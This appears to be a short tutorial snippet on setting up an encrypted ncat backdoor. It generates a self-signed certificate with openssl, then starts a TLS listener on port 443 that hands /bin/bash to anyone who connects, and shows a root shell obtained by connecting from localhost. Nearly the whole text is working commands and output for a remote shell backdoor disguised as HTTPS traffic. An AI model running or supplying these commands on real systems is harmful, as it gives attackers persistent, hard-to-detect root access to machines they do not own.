Generate a keypair
Using an existing certificate and key is recommended whenever possible because it allows for robust server authentication. Use the –ssl-cert and –ssl-key options to pass in PEM-encoded files. For testing purposes you can generate a self-signed certificate and private key. If you have OpenSSL installed, use this command:
openssl req -new -x509 -keyout test-key.pem -out test-cert.pem
Listen a backdoor
root@kali:/tmp# ncat -vn --ssl --ssl-cert test-cert.pem --ssl-key test-key.pem -l -p 443 -e /bin/bash
Ncat: Version 7.01 ( https://nmap.org/ncat )
Enter PEM pass phrase:
Ncat: Listening on :::443
Ncat: Listening on 0.0.0.0:443
Connect to a backdoor
root@kali:/tmp# ncat -vn --ssl 127.0.0.1 443
Ncat: Version 7.01 ( https://nmap.org/ncat )
Enter PEM pass phrase:
Ncat: Subject: C=AU, ST=Some-State, O=Internet Widgits Pty Ltd
Ncat: Issuer: C=AU, ST=Some-State, O=Internet Widgits Pty Ltd
Ncat: SHA-1 fingerprint: B134 C432 299D 9E68 E8E7 4517 FD26 0917 E22A A4A7
Ncat: Certificate verification failed (self signed certificate).
Ncat: SSL connection to 127.0.0.1:443. Internet Widgits Pty Ltd
Ncat: SHA-1 fingerprint: B134 C432 299D 9E68 E8E7 4517 FD26 0917 E22A A4A7
id
uid=0(root) gid=0(root) groups=0(root)